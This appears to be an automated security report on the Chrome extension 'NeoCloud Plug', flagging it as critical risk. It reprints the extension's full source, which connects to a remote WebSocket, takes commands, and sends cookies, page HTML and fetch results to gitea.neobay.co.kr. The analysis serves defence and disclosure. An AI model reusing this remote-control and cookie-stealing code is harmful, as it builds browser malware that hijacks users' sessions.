Is NeoCloud Plug safe?

Critical risk

NeoCloud Plug lets gitea.neobay.co.kr command cookie, page HTML, and fetch requests across arbitrary websites.

When its app page runs, it opens a cleartext WebSocket to gitea.neobay.co.kr:3000 and accepts server messages containing URLs and request options. Those commands can open supplied pages, read document.cookie or full page HTML through injected scripts, and send results back to the same WebSocket; a fetch command can also send caller-supplied headers and request options to arbitrary URLs.

98Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Cleartext WebSocket can command cookie and page reads

After the extension window opens, NeoCloud Plug connects to ws://gitea.neobay.co.kr:3000 and accepts JSON commands with URLs, fetch options, and headers that open pages, inject scripts to read cookies/HTML, run fetches, and return results.

Severity
Critical unwanted
Type
Unexpected
CWE
CWE-319
Source
Dynamic sandbox
What actually happens
You did this

You open the extension app window.

That action causes app.html to load and run assets/js/app.js.

The extension did this

The extension connects to a cleartext WebSocket and accepts remote tasks.

Those tasks can name URLs to open, scripts to inject, and fetch options to use.

Captured request
GETws://gitea.neobay.co.kr:3000

Cleartext WebSocket control channel; no request or response body was recorded in the verification evidence.

Concrete fields handled by the command channel
  • Command type
    cookie

    This tells the extension which behavior to run, such as reading cookies, scraping a page, or making a fetch request.

  • Supplied page URL
    https://example.com/account (illustrative)

    This decides which site the extension opens or requests on your browser.

  • Cookie string
    session_id=s%3A7a9f2b1c.user.4QxV (illustrative)

    Cookies can identify a signed-in browser session for the page that was opened.

  • Full page HTML
    <html><body><main>Account settings</main></body></html> (illustrative)

    Full HTML can include visible page text, embedded metadata, forms, and account-specific content.

  • Supplied fetch headers
    Authorization: Bearer redacted-token (illustrative)

    Headers can carry authentication material if a remote fetch command includes them.

The code that does this

Installed source behind the cleartext control channel

Readable version

Extension action opens app.html

background.js
chrome.action.onClicked.addListener(() => {    chrome.storage.sync.get(['appWindow'], (items) => {        if (items.appWindow === undefined) {            openApp();        }        else {            chrome.windows.get(items.appWindow.id).then(window => {                chrome.windows.update(window.id, {                    focused: true                }, () => {})            }).catch(() => {                openApp();            })        }    });})function openApp() {    chrome.windows.create({        type: "popup",        height: 320,        width: 480,        url: "app.html"    }, (window) => {        chrome.storage.sync.set({appWindow: window}, () => {});    })}

WebSocket connection and command queueing

assets/js/app.js
function connect() {    server = new WebSocket(`ws://${HOST}:${PORT}`)    updateStatus(status => status.connect = 1)    server.onopen = (e) => {        console.log(`socket open (${e.type})`);        updateStatus(status => status.connect = 2)    }    server.onclose = (e) => {        console.log(`socket close (${e.code}: ${e.reason})`);        updateStatus(status => status.connect = 0)        setTimeout(connect, 1000);    }    server.onerror = (e) => {        console.log(`socket error (${e.type})`);        server.close();    }    server.onmessage = (e) => {        try {            let message = JSON.parse(e.data);            switch (message.type) {                case "welcome":                    server.id = message.data.id                    registerID()                    break;                case "request":                    queue.push({                        type: message.type,                        sender: message.sender,                        requestId: message.data.id,                        url: message.data.url                    });                    updateStatus(status => {                        status.total++                        status.pending = queue.length                    });                    break;                case "cookie":                    queue.push({                        type: message.type,                        sender: message.sender,                        requestId: message.data.id,                        url: message.data.url                    });                    updateStatus(status => {                        status.total++                        status.pending = queue.length                    });                    break;                case "amazon":                    queue.push({                        type: message.type,                        sender: message.sender,                        requestId: message.data.id,                        url: message.data.url                    });                    updateStatus(status => {                        status.total++                        status.pending = queue.length                    });                    break;                case "aliDetail":                    queue.push({                        type: message.type,                        sender: message.sender,                        requestId: message.data.id,                        url: message.data.url                    });                    updateStatus(status => {                        status.total++                        status.pending = queue.length                    });                    break;                case "fetch":                    queue.push({                        type: message.type,                        sender: message.sender,                        requestId: message.data.id,                        url: message.data.url,                        option: message.data.option                    });                    updateStatus(status => {                        status.total++                        status.pending = queue.length                    });                    break;            }        } catch {            console.log(`socket messages are filtered (${e.data})`);        }    }}

Response frames sent to the WebSocket peer

assets/js/app.js
function messenger(target, type, data, code, message) {    server.send(JSON.stringify({        sender: server.id,        target: target,        type: type,        code: code,        message: message,        data: data    }));}

Remote-supplied fetch options

assets/js/app.js
function requestFetch(requestId, url, option) {    option = option === undefined ? {} : option    option.options = option.options === undefined ? {} : option.options    let neo_cloud_fetch_uuid = ([1e7]+-1e3+-4e3+-8e3+-1e11).replace(/[018]/g, c => (c ^ crypto.getRandomValues(new Uint8Array(1))[0] & 15 >> c / 4).toString(16));    fetchHeaderHook(neo_cloud_fetch_uuid, option.headers)    if (Object.keys(option.formData).length > 0) {        let formData = new FormData();        for (let key in option.formData) {            let data = option.formData[key];            let byteArray = Uint8Array.from(Array.from(atob(data.value)).map(x => x.charCodeAt(0)));            let blob = new Blob([byteArray], { type: data.type });            formData.append(key, blob, data.name);        }        option.body = formData;    }    else option.body = atob(option.body);    return fetch(`${url}#neocloud_fetch_uuid:${neo_cloud_fetch_uuid}`, {        method: option.method,        body: option.method === "GET" || option.method === "HEAD" ? undefined : option.body,        headers: option.headers,        mode: option.options.mode,        credentials: option.options.credentials,        cache: option.options.cache,        redirect: option.options.redirect,        referrerPolicy: option.options.referrerPolicy,        referrer: option.referrer,        integrity: option.integrity    }).then(async res => {        let charset = res.headers.get('Content-Type').split(';').reduce((prev, current) => {            const [name, value] = current.split('=');            prev[name.trim()] = typeof value === 'string' ? value.trim() : "";            return prev        }, {})['charset'];        const response = await res.arrayBuffer();        let utf_8_response = new TextDecoder("UTF-8").decode(new DataView(response));        let charset_regex = charset === null ? /charset="(.+)"/.exec(utf_8_response) : ['', charset];        return charset_regex === null ? utf_8_response : new TextDecoder(charset_regex[1]).decode(new DataView(response));    })}

Supplied URL opened and scraping script injected

assets/js/app.js
function request(requestId, url) {    return new Promise((resolve, reject) => {        let width = parseInt(url.includes('11st.co.kr') ? '1' : '1280');        let height = parseInt(url.includes('11st.co.kr') ? '1' : '1024');        chrome.windows.create({            type: "popup",            top: 0,            left: 0,            width: width,            height: height,            url: url        }).then(async window => {            runner = {                windowId: window.id,                promise: {                    resolve: resolve,                    reject: reject                }            }            const tabId = window.tabs[0].id;            let tabMonitor = setInterval(() => {                chrome.tabs.get(tabId, tab => {                    if (chrome.runtime.lastError) {                        clearInterval(tabMonitor);                        return;                    }                    if (tab.status === "complete") {                        let scriptFile = url.includes('11st.co.kr') ? 'getElevenProductsHtml.js' : 'scripting.js';                        if (scriptFile === 'getElevenProductsHtml.js') {                            if (!url.includes('search.11st.co.kr')) scriptFile = 'getElevenProductHtml.js';                        }                        chrome.scripting.executeScript({                            target: { tabId: tabId },                            files: [scriptFile]                        }, () => clearInterval(tabMonitor));                    }                });            }, 100);            let messageCallback = request => {                switch (request.sender) {                    case 'scroller':                        if (request.status === 200) {                            chrome.windows.remove(window.id).then(() => {                                chrome.runtime.onMessage.removeListener(messageCallback);                                resolve(request.response);                            }).catch(() => {});                        }                        break;                    case 'getHtml' :                        if (request.status === 200) {                            chrome.windows.remove(window.id).then(() => {                                chrome.runtime.onMessage.removeListener(messageCallback);                                resolve(request.response);                            }).catch(() => {});                        }                        break;                }            }            chrome.runtime.onMessage.addListener(messageCallback);            setTimeout(() => {                chrome.windows.remove(window.id).then(() => {                    reject("페이지 접근 실패");                }).catch(() => {});            }, 1200000);        }).catch(() => {            if (runner.windowId !== undefined) {                chrome.windows.remove(parseInt(runner.windowId)).then(() => {                    reject("페이지 접근 실패");                }).catch(() => {});            }        });    })}

Supplied URL opened and cookie script injected

assets/js/app.js
function cookie(requestId, url) {    return new Promise((resolve, reject) => {        chrome.windows.create({            type: "popup",            top: 0,            left: 0,            width: 1,            height: 1,            url: url        }).then(async window => {            runner = {                windowId: window.id,                promise: {                    resolve: resolve,                    reject: reject                }            }            const tabId = window.tabs[0].id;            let tabMonitor = setInterval(() => {                chrome.tabs.get(tabId, tab => {                    if (chrome.runtime.lastError) {                        clearInterval(tabMonitor);                        return;                    }                    if (tab.status === "complete") {                        let scriptFile = "getCookie.js"                        chrome.scripting.executeScript({                            target: { tabId: tabId },                            files: [scriptFile]                        }, () => clearInterval(tabMonitor));                    }                });            }, 100);            let messageCallback = request => {                switch (request.sender) {                    case 'getCookie' :                        if (request.status === 200) {                            chrome.windows.remove(window.id).then(() => {                                chrome.runtime.onMessage.removeListener(messageCallback);                                resolve(request.response);                            }).catch(() => {});                        }                        break;                }            }            chrome.runtime.onMessage.addListener(messageCallback);            setTimeout(() => {                chrome.windows.remove(window.id).then(() => {                    reject("페이지 접근 실패");                }).catch(() => {});            }, 1200000);        }).catch(() => {            if (runner.windowId !== undefined) {                chrome.windows.remove(parseInt(runner.windowId)).then(() => {                    reject("페이지 접근 실패");                }).catch(() => {});            }        });    })}

Queue dispatcher returns command results

assets/js/app.js
// queue(() => {    const run = () => {        const data = queue.shift();        if (data === undefined) {            setTimeout(run, 1000);            return;        }        updateStatus(status => {            status.status = true            status.pending = queue.length        })        switch (data.type) {            case "request":                request(data.requestId, data.url).then(html => {                    messenger(data.sender, 'response', {                        id: data.requestId,                        response: html                    }, 200, '성공');                    updateStatus(status => {                        status.status = false                        status.complete++                    })                    setTimeout(run, 1000);                }).catch((error) => {                    messenger(data.sender, 'response', {}, 500, error);                    updateStatus(status => {                        status.status = false                        status.failed++                    })                    setTimeout(run, 1000);                });                break;            case "cookie":                cookie(data.requestId, data.url).then(html => {                    messenger(data.sender, 'response', {                        id: data.requestId,                        response: html                    }, 200, '성공');                    updateStatus(status => {                        status.status = false                        status.complete++                    })                    setTimeout(run, 1000);                }).catch((error) => {                    messenger(data.sender, 'response', {}, 500, error);                    updateStatus(status => {                        status.status = false                        status.failed++                    })                    setTimeout(run, 1000);                });                break;            case "amazon":                amazon(data.requestId, data.url).then(html => {                    messenger(data.sender, 'response', {                        id: data.requestId,                        response: html                    }, 200, '성공');                    updateStatus(status => {                        status.status = false                        status.complete++                    })                    setTimeout(run, 1000);                }).catch((error) => {                    messenger(data.sender, 'response', {}, 500, error);                    updateStatus(status => {                        status.status = false                        status.failed++                    })                    setTimeout(run, 1000);                });                break;            case "aliDetail":                aliDetail(data.requestId, data.url).then(html => {                    messenger(data.sender, 'response', {                        id: data.requestId,                        response: html                    }, 200, '성공');                    updateStatus(status => {                        status.status = false                        status.complete++                    })                    setTimeout(run, 1000);                }).catch((error) => {                    messenger(data.sender, 'response', {}, 500, error);                    updateStatus(status => {                        status.status = false                        status.failed++                    })                    setTimeout(run, 1000);                });                break;            case "fetch":                requestFetch(data.requestId, data.url, data.option).then(html => {                    messenger(data.sender, 'response', {                        id: data.requestId,                        response: html                    }, 200, '성공');                    updateStatus(status => {                        status.status = false                        status.complete++                    })                    setTimeout(run, 1000);                }).catch((error) => {                    messenger(data.sender, 'response', {}, 500, error);                    updateStatus(status => {                        status.status = false                        status.failed++                    })                    setTimeout(run, 1000);                });                break;        }    };    run();})();
The code that does this

Injected scripts that return browser-visible data

Readable version

Injected script returns document.cookie

getCookie.js
chrome.runtime.sendMessage({    sender: "getCookie",    response: document.cookie,    status: 200}, () => {});

Injected script returns full page HTML

scripting.js
document.body.style.overflow = 'hidden'let neoCloudPlugWell = document.createElement('div');neoCloudPlugWell.style.position = 'fixed';neoCloudPlugWell.style.top = '0px';neoCloudPlugWell.style.left = '0px';neoCloudPlugWell.style.height = '100%';neoCloudPlugWell.style.width = '100%';neoCloudPlugWell.style.zIndex = '100000000000';neoCloudPlugWell.id = 'neo-cloud-plug-well';document.body.appendChild(neoCloudPlugWell);let i = 0;const scroller = setInterval(() => {    scroll(0, window.innerHeight * i)    i++;    if ((document.documentElement.scrollTop + window.innerHeight) - document.documentElement.scrollHeight > -1) {        chrome.runtime.sendMessage({            sender: "scroller",            response: document.documentElement.outerHTML,            status: 200        }, () => {});        clearInterval(scroller)    }}, 1000)

Amazon scraper returns full page HTML

getAmazonProduct.js
// (function() {//     let fetchRequestSent = false; // fetch가 한 번만 실행되도록 제어하는 플래그////     // 페이지 하단까지 스크롤하는 함수//     function scrollToBottom() {//         return new Promise((resolve) => {//             let totalHeight = 0;//             const distance = 2000; // 스크롤할 픽셀 단위//             const timer = setInterval(() => {//                 window.scrollBy(0, distance);//                 totalHeight += distance;////                 // 페이지의 전체 높이와 비교하여 끝까지 스크롤한 경우//                 if (totalHeight >= document.body.scrollHeight - window.innerHeight) {//                     clearInterval(timer); // 스크롤 완료 시 타이머 중지//                     resolve(); // 스크롤 완료 시 Promise 해결//                 }//             }, 50);//         });//     }////     // Fetch 요청 함수 (한 번만 호출됨)//     function fetchPriceData() {//         return new Promise((resolve, reject) => {//             if (fetchRequestSent) return resolve(); // fetch가 이미 실행된 경우 종료//             fetchRequestSent = true; // fetch가 실행된 상태로 설정////             // itemId를 안전하게 추출//             const itemElement = document.querySelector('#ASIN');//             if (!itemElement || !itemElement.value) {//                 console.error('ASIN을 찾을 수 없습니다.');//                 return resolve(); // itemId가 없으면 바로 resolve//             }////             const itemId = itemElement.value; // itemId 추출//             const priceUrl = `/gp/product/ajax/ref=dp_aod_ALL_mbc?asin=${itemId}&m=&qid=&smid=&sourcecustomerorglistid=&sourcecustomerorglistitemid=&sr=&pc=dp&experienceId=aodAjaxMain`;////             fetch(priceUrl)//                 .then(response => response.text())//                 .then(html => {//                     const wrapper = document.createElement('div');//                     wrapper.className = 'product-price-additional-source'; // 클래스명 지정//                     wrapper.innerHTML = html; // HTML 응답을 div 안에 넣음//                     document.body.appendChild(wrapper); // body에 추가//                     resolve(); // fetch 요청 완료//                 })//                 .catch(error => {//                     console.error('Fetch Error:', error);//                     resolve(); // 에러 발생 시에도 resolve하여 진행//                 });//         });//     }////     // 스크롤과 Fetch 요청을 동시에 처리//     Promise.allSettled([scrollToBottom(), fetchPriceData()])//         .then(() => {//             // 스크롤 및 Fetch가 모두 완료되면 메시지 전송//             chrome.runtime.sendMessage({//                 sender: "getAmazon",//                 response: document.documentElement.outerHTML,//                 status: 200//             }, () => {});//         }).catch(() => {//             chrome.runtime.sendMessage({//                 sender: "getAmazon",//                 response: document.documentElement.outerHTML,//                 status: 200//             }, () => {});//     });// })();chrome.runtime.sendMessage({    sender: "getAmazon",    response: document.documentElement.outerHTML,    status: 200}, () => {});

11st product scraper returns full page HTML

getElevenProductHtml.js
const loadProduct = () => {    return new Promise((resolve, reject) => {        const intervalId = setInterval(() => {            const isLoad = document.querySelector('h1[class="title"]');            if (isLoad) {                clearInterval(intervalId);                resolve();            }        }, 10);    });}loadProduct().then(() => {    chrome.runtime.sendMessage({        sender: "getHtml",        response: document.documentElement.outerHTML,        status: 200    }, () => {});}).catch(error => {    console.error("Error:", error);}).finally(() => {    chrome.runtime.sendMessage({        sender: "getHtml",        response: null,        status: 200    }, () => {});});

11st search scraper returns full page HTML

getElevenProductsHtml.js
const loadProducts = () => {    return new Promise((resolve, reject) => {        const intervalId = setInterval(() => {            const isLoad = document.querySelector('.c-search-list__item');            if (isLoad) {                clearInterval(intervalId);                resolve();            }        }, 10);    });}loadProducts().then(() => {    chrome.runtime.sendMessage({        sender: "getHtml",        response: document.documentElement.outerHTML,        status: 200    }, () => {});}).catch(error => {    console.error("Error:", error);}).finally(() => {    chrome.runtime.sendMessage({        sender: "getHtml",        response: null,        status: 200    }, () => {});});
What's stored on your device

The extension asks Chrome for scripting access and permission to operate across all websites.

Location
manifest.json permissions and host_permissions
Contents
{  "name": "NeoCloud Plug",  "icons": {    "72": "assets/img/logo.png"  },  "action": {    "default_icon": "assets/img/logo.png"  },  "version": "3.7",  "background": {    "type": "module",    "service_worker": "background.js"  },  "update_url": "https://clients2.google.com/service/update2/crx",  "description": "NeoCloud Extension",  "permissions": [    "scripting",    "storage",    "declarativeNetRequest"  ],  "host_permissions": [    "<all_urls>"  ],  "manifest_version": 3}
Remote endpoint used by the extension
    • gitea.neobay.co.kr

    Receives the WebSocket connection on port 3000 and receives response frames generated by messenger().

Remote cookie command reads document.cookie

After the app window opens, NeoCloud Plug connects to ws://gitea.neobay.co.kr:3000.

A cookie-type message supplies a URL; the code opens it in a small popup, injects getCookie.js, reads document.cookie, and returns the string to the peer.

Severity
High unwanted
Type
Unexpected
CWE
CWE-522
Source
Dynamic sandbox
What actually happens
You did this

A remote WebSocket message sends the extension a cookie task.

The message includes a request ID and the URL to open.

The extension did this

The extension opens that page, reads document.cookie, and returns the value.

The installed getCookie.js script sends the cookie string to app.js, which forwards it to the WebSocket peer.

Captured request
GETws://gitea.neobay.co.kr:3000

Cleartext WebSocket control channel; no request or response body was recorded in the verification evidence.

Cookie-command fields and returned data
  • Command type
    cookie

    This tells the extension to run its cookie-reading path.

  • Supplied page URL
    https://example.com/account (illustrative)

    This decides which page is opened before cookies are read.

  • Request ID
    cookie-test

    This ties the returned cookie string to the remote task that requested it.

  • document.cookie value
    session_id=s%3A7a9f2b1c.user.4QxV; prefs=lang%3Den (illustrative)

    This can include browser-readable session or account cookies for the opened site.

The code that does this

Installed cookie extraction path

Readable version

Extension action opens app.html

background.js
chrome.action.onClicked.addListener(() => {    chrome.storage.sync.get(['appWindow'], (items) => {        if (items.appWindow === undefined) {            openApp();        }        else {            chrome.windows.get(items.appWindow.id).then(window => {                chrome.windows.update(window.id, {                    focused: true                }, () => {})            }).catch(() => {                openApp();            })        }    });})function openApp() {    chrome.windows.create({        type: "popup",        height: 320,        width: 480,        url: "app.html"    }, (window) => {        chrome.storage.sync.set({appWindow: window}, () => {});    })}

WebSocket connection and command queueing

assets/js/app.js
function connect() {    server = new WebSocket(`ws://${HOST}:${PORT}`)    updateStatus(status => status.connect = 1)    server.onopen = (e) => {        console.log(`socket open (${e.type})`);        updateStatus(status => status.connect = 2)    }    server.onclose = (e) => {        console.log(`socket close (${e.code}: ${e.reason})`);        updateStatus(status => status.connect = 0)        setTimeout(connect, 1000);    }    server.onerror = (e) => {        console.log(`socket error (${e.type})`);        server.close();    }    server.onmessage = (e) => {        try {            let message = JSON.parse(e.data);            switch (message.type) {                case "welcome":                    server.id = message.data.id                    registerID()                    break;                case "request":                    queue.push({                        type: message.type,                        sender: message.sender,                        requestId: message.data.id,                        url: message.data.url                    });                    updateStatus(status => {                        status.total++                        status.pending = queue.length                    });                    break;                case "cookie":                    queue.push({                        type: message.type,                        sender: message.sender,                        requestId: message.data.id,                        url: message.data.url                    });                    updateStatus(status => {                        status.total++                        status.pending = queue.length                    });                    break;                case "amazon":                    queue.push({                        type: message.type,                        sender: message.sender,                        requestId: message.data.id,                        url: message.data.url                    });                    updateStatus(status => {                        status.total++                        status.pending = queue.length                    });                    break;                case "aliDetail":                    queue.push({                        type: message.type,                        sender: message.sender,                        requestId: message.data.id,                        url: message.data.url                    });                    updateStatus(status => {                        status.total++                        status.pending = queue.length                    });                    break;                case "fetch":                    queue.push({                        type: message.type,                        sender: message.sender,                        requestId: message.data.id,                        url: message.data.url,                        option: message.data.option                    });                    updateStatus(status => {                        status.total++                        status.pending = queue.length                    });                    break;            }        } catch {            console.log(`socket messages are filtered (${e.data})`);        }    }}

Supplied URL opened and cookie script injected

assets/js/app.js
function cookie(requestId, url) {    return new Promise((resolve, reject) => {        chrome.windows.create({            type: "popup",            top: 0,            left: 0,            width: 1,            height: 1,            url: url        }).then(async window => {            runner = {                windowId: window.id,                promise: {                    resolve: resolve,                    reject: reject                }            }            const tabId = window.tabs[0].id;            let tabMonitor = setInterval(() => {                chrome.tabs.get(tabId, tab => {                    if (chrome.runtime.lastError) {                        clearInterval(tabMonitor);                        return;                    }                    if (tab.status === "complete") {                        let scriptFile = "getCookie.js"                        chrome.scripting.executeScript({                            target: { tabId: tabId },                            files: [scriptFile]                        }, () => clearInterval(tabMonitor));                    }                });            }, 100);            let messageCallback = request => {                switch (request.sender) {                    case 'getCookie' :                        if (request.status === 200) {                            chrome.windows.remove(window.id).then(() => {                                chrome.runtime.onMessage.removeListener(messageCallback);                                resolve(request.response);                            }).catch(() => {});                        }                        break;                }            }            chrome.runtime.onMessage.addListener(messageCallback);            setTimeout(() => {                chrome.windows.remove(window.id).then(() => {                    reject("페이지 접근 실패");                }).catch(() => {});            }, 1200000);        }).catch(() => {            if (runner.windowId !== undefined) {                chrome.windows.remove(parseInt(runner.windowId)).then(() => {                    reject("페이지 접근 실패");                }).catch(() => {});            }        });    })}

Queue dispatcher returns command results

assets/js/app.js
// queue(() => {    const run = () => {        const data = queue.shift();        if (data === undefined) {            setTimeout(run, 1000);            return;        }        updateStatus(status => {            status.status = true            status.pending = queue.length        })        switch (data.type) {            case "request":                request(data.requestId, data.url).then(html => {                    messenger(data.sender, 'response', {                        id: data.requestId,                        response: html                    }, 200, '성공');                    updateStatus(status => {                        status.status = false                        status.complete++                    })                    setTimeout(run, 1000);                }).catch((error) => {                    messenger(data.sender, 'response', {}, 500, error);                    updateStatus(status => {                        status.status = false                        status.failed++                    })                    setTimeout(run, 1000);                });                break;            case "cookie":                cookie(data.requestId, data.url).then(html => {                    messenger(data.sender, 'response', {                        id: data.requestId,                        response: html                    }, 200, '성공');                    updateStatus(status => {                        status.status = false                        status.complete++                    })                    setTimeout(run, 1000);                }).catch((error) => {                    messenger(data.sender, 'response', {}, 500, error);                    updateStatus(status => {                        status.status = false                        status.failed++                    })                    setTimeout(run, 1000);                });                break;            case "amazon":                amazon(data.requestId, data.url).then(html => {                    messenger(data.sender, 'response', {                        id: data.requestId,                        response: html                    }, 200, '성공');                    updateStatus(status => {                        status.status = false                        status.complete++                    })                    setTimeout(run, 1000);                }).catch((error) => {                    messenger(data.sender, 'response', {}, 500, error);                    updateStatus(status => {                        status.status = false                        status.failed++                    })                    setTimeout(run, 1000);                });                break;            case "aliDetail":                aliDetail(data.requestId, data.url).then(html => {                    messenger(data.sender, 'response', {                        id: data.requestId,                        response: html                    }, 200, '성공');                    updateStatus(status => {                        status.status = false                        status.complete++                    })                    setTimeout(run, 1000);                }).catch((error) => {                    messenger(data.sender, 'response', {}, 500, error);                    updateStatus(status => {                        status.status = false                        status.failed++                    })                    setTimeout(run, 1000);                });                break;            case "fetch":                requestFetch(data.requestId, data.url, data.option).then(html => {                    messenger(data.sender, 'response', {                        id: data.requestId,                        response: html                    }, 200, '성공');                    updateStatus(status => {                        status.status = false                        status.complete++                    })                    setTimeout(run, 1000);                }).catch((error) => {                    messenger(data.sender, 'response', {}, 500, error);                    updateStatus(status => {                        status.status = false                        status.failed++                    })                    setTimeout(run, 1000);                });                break;        }    };    run();})();

Injected script returns document.cookie

getCookie.js
chrome.runtime.sendMessage({    sender: "getCookie",    response: document.cookie,    status: 200}, () => {});
What's stored on your device

The extension asks Chrome for permission to inject scripts across all websites.

Location
manifest.json permissions and host_permissions
Contents
{  "name": "NeoCloud Plug",  "icons": {    "72": "assets/img/logo.png"  },  "action": {    "default_icon": "assets/img/logo.png"  },  "version": "3.7",  "background": {    "type": "module",    "service_worker": "background.js"  },  "update_url": "https://clients2.google.com/service/update2/crx",  "description": "NeoCloud Extension",  "permissions": [    "scripting",    "storage",    "declarativeNetRequest"  ],  "host_permissions": [    "<all_urls>"  ],  "manifest_version": 3}
Remote endpoint used by the extension
    • gitea.neobay.co.kr

    Receives the WebSocket connection on port 3000 and receives response frames generated by messenger().

Remote WebSocket commands collect full page HTML

After the app window opens, NeoCloud Plug accepts remote WebSocket messages with page URLs.

For request, amazon, and aliDetail tasks it opens the page, injects a scraper, reads outerHTML, and returns the HTML to gitea.neobay.co.kr.

Severity
High unwanted
Type
Unexpected
CWE
CWE-200
Source
Dynamic sandbox
What actually happens
You did this

A remote WebSocket message sends the extension a page-scraping task.

The task type can be request, amazon, or aliDetail and includes a URL.

The extension did this

The extension opens that URL, injects a scraper, and returns the page HTML.

The generic scraper and ecommerce scrapers return document.documentElement.outerHTML.

Captured request
GETws://gitea.neobay.co.kr:3000

Cleartext WebSocket control channel; no request or response body was recorded in the verification evidence.

Page-scraping fields and returned data
  • Command type
    request

    This selects the page-reading path the extension will run.

  • Supplied page URL
    https://example.com/product/12345 (illustrative)

    This identifies the page opened and processed by your browser.

  • Request ID
    dom-test

    This ties the returned HTML to the remote task that requested it.

  • Full page HTML
    <html><body><main>Product details and account panel</main></body></html> (illustrative)

    Full HTML can include account-specific page text, embedded metadata, forms, and page structure.

The code that does this

Installed DOM collection path

Readable version

WebSocket connection and command queueing

assets/js/app.js
function connect() {    server = new WebSocket(`ws://${HOST}:${PORT}`)    updateStatus(status => status.connect = 1)    server.onopen = (e) => {        console.log(`socket open (${e.type})`);        updateStatus(status => status.connect = 2)    }    server.onclose = (e) => {        console.log(`socket close (${e.code}: ${e.reason})`);        updateStatus(status => status.connect = 0)        setTimeout(connect, 1000);    }    server.onerror = (e) => {        console.log(`socket error (${e.type})`);        server.close();    }    server.onmessage = (e) => {        try {            let message = JSON.parse(e.data);            switch (message.type) {                case "welcome":                    server.id = message.data.id                    registerID()                    break;                case "request":                    queue.push({                        type: message.type,                        sender: message.sender,                        requestId: message.data.id,                        url: message.data.url                    });                    updateStatus(status => {                        status.total++                        status.pending = queue.length                    });                    break;                case "cookie":                    queue.push({                        type: message.type,                        sender: message.sender,                        requestId: message.data.id,                        url: message.data.url                    });                    updateStatus(status => {                        status.total++                        status.pending = queue.length                    });                    break;                case "amazon":                    queue.push({                        type: message.type,                        sender: message.sender,                        requestId: message.data.id,                        url: message.data.url                    });                    updateStatus(status => {                        status.total++                        status.pending = queue.length                    });                    break;                case "aliDetail":                    queue.push({                        type: message.type,                        sender: message.sender,                        requestId: message.data.id,                        url: message.data.url                    });                    updateStatus(status => {                        status.total++                        status.pending = queue.length                    });                    break;                case "fetch":                    queue.push({                        type: message.type,                        sender: message.sender,                        requestId: message.data.id,                        url: message.data.url,                        option: message.data.option                    });                    updateStatus(status => {                        status.total++                        status.pending = queue.length                    });                    break;            }        } catch {            console.log(`socket messages are filtered (${e.data})`);        }    }}

Supplied URL opened and scraping script injected

assets/js/app.js
function request(requestId, url) {    return new Promise((resolve, reject) => {        let width = parseInt(url.includes('11st.co.kr') ? '1' : '1280');        let height = parseInt(url.includes('11st.co.kr') ? '1' : '1024');        chrome.windows.create({            type: "popup",            top: 0,            left: 0,            width: width,            height: height,            url: url        }).then(async window => {            runner = {                windowId: window.id,                promise: {                    resolve: resolve,                    reject: reject                }            }            const tabId = window.tabs[0].id;            let tabMonitor = setInterval(() => {                chrome.tabs.get(tabId, tab => {                    if (chrome.runtime.lastError) {                        clearInterval(tabMonitor);                        return;                    }                    if (tab.status === "complete") {                        let scriptFile = url.includes('11st.co.kr') ? 'getElevenProductsHtml.js' : 'scripting.js';                        if (scriptFile === 'getElevenProductsHtml.js') {                            if (!url.includes('search.11st.co.kr')) scriptFile = 'getElevenProductHtml.js';                        }                        chrome.scripting.executeScript({                            target: { tabId: tabId },                            files: [scriptFile]                        }, () => clearInterval(tabMonitor));                    }                });            }, 100);            let messageCallback = request => {                switch (request.sender) {                    case 'scroller':                        if (request.status === 200) {                            chrome.windows.remove(window.id).then(() => {                                chrome.runtime.onMessage.removeListener(messageCallback);                                resolve(request.response);                            }).catch(() => {});                        }                        break;                    case 'getHtml' :                        if (request.status === 200) {                            chrome.windows.remove(window.id).then(() => {                                chrome.runtime.onMessage.removeListener(messageCallback);                                resolve(request.response);                            }).catch(() => {});                        }                        break;                }            }            chrome.runtime.onMessage.addListener(messageCallback);            setTimeout(() => {                chrome.windows.remove(window.id).then(() => {                    reject("페이지 접근 실패");                }).catch(() => {});            }, 1200000);        }).catch(() => {            if (runner.windowId !== undefined) {                chrome.windows.remove(parseInt(runner.windowId)).then(() => {                    reject("페이지 접근 실패");                }).catch(() => {});            }        });    })}

Queue dispatcher returns command results

assets/js/app.js
// queue(() => {    const run = () => {        const data = queue.shift();        if (data === undefined) {            setTimeout(run, 1000);            return;        }        updateStatus(status => {            status.status = true            status.pending = queue.length        })        switch (data.type) {            case "request":                request(data.requestId, data.url).then(html => {                    messenger(data.sender, 'response', {                        id: data.requestId,                        response: html                    }, 200, '성공');                    updateStatus(status => {                        status.status = false                        status.complete++                    })                    setTimeout(run, 1000);                }).catch((error) => {                    messenger(data.sender, 'response', {}, 500, error);                    updateStatus(status => {                        status.status = false                        status.failed++                    })                    setTimeout(run, 1000);                });                break;            case "cookie":                cookie(data.requestId, data.url).then(html => {                    messenger(data.sender, 'response', {                        id: data.requestId,                        response: html                    }, 200, '성공');                    updateStatus(status => {                        status.status = false                        status.complete++                    })                    setTimeout(run, 1000);                }).catch((error) => {                    messenger(data.sender, 'response', {}, 500, error);                    updateStatus(status => {                        status.status = false                        status.failed++                    })                    setTimeout(run, 1000);                });                break;            case "amazon":                amazon(data.requestId, data.url).then(html => {                    messenger(data.sender, 'response', {                        id: data.requestId,                        response: html                    }, 200, '성공');                    updateStatus(status => {                        status.status = false                        status.complete++                    })                    setTimeout(run, 1000);                }).catch((error) => {                    messenger(data.sender, 'response', {}, 500, error);                    updateStatus(status => {                        status.status = false                        status.failed++                    })                    setTimeout(run, 1000);                });                break;            case "aliDetail":                aliDetail(data.requestId, data.url).then(html => {                    messenger(data.sender, 'response', {                        id: data.requestId,                        response: html                    }, 200, '성공');                    updateStatus(status => {                        status.status = false                        status.complete++                    })                    setTimeout(run, 1000);                }).catch((error) => {                    messenger(data.sender, 'response', {}, 500, error);                    updateStatus(status => {                        status.status = false                        status.failed++                    })                    setTimeout(run, 1000);                });                break;            case "fetch":                requestFetch(data.requestId, data.url, data.option).then(html => {                    messenger(data.sender, 'response', {                        id: data.requestId,                        response: html                    }, 200, '성공');                    updateStatus(status => {                        status.status = false                        status.complete++                    })                    setTimeout(run, 1000);                }).catch((error) => {                    messenger(data.sender, 'response', {}, 500, error);                    updateStatus(status => {                        status.status = false                        status.failed++                    })                    setTimeout(run, 1000);                });                break;        }    };    run();})();

Injected script returns full page HTML

scripting.js
